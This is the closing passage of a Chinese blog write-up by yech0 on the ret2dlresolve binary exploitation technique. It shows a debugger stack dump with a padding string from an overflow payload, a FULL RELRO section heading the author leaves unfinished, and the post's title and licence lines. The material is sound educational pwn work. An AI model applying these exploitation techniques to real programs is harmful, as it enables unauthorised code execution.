    0f:0078│     0x4042a8 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC8B@'
    ... ↓        15 skipped
    1f:00f8│     0x404328 —▸ 0x404238 ◂— 0x0
    

3.3 FULLRELRO

  • wiki上还有FULLRELRO的呢 先鸽了

re2dlresolve
https://yech0.github.io/2023/12/10/ret2dlresolve/
作者
yech0
发布于
2023年12月10日
许可协议